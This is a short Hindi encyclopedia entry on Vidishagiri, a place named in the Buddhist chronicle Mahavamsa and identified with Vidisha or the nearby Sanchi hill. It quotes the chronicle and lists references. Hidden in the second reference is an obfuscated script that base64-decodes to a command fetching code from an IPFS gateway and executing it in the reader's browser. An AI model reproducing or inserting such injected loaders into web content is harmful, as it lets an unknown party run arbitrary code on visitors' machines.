विदिशागिरि
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विदिशागिरि का उल्लेख बौद्ध धार्मिक ग्रन्थ 'महावंश'[1] में हुआ है। विदिशागिरि या तो प्राचीन विदिशा नगरी ही है या उसके पास की सांची की पहाड़ी।[2]
- 'दक्षिणगिरि' नामक एक पहाड़ी का उल्लेख 'महावंश'[3] में इस प्रकार है-
"इस बीच में उपाध्याय और संघ की वंदना कर तथा राजा (अशोक) से पूछ, स्थविर महेन्द्रसेन, चार स्थविरों तथा संघमित्रा के पुत्र महासिद्ध षड़भिक्षु सुमन सामणेर को साथ ले, संबंधियों से मिलने के लिए दक्षिणगिरि गए।" इसी के आगे 'विदिशागिरि' का भी उल्लेख किया गया है।
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टीका टिप्पणी और संदर्भ
- ↑ महावंश 13
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 856 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ महावंश13, 5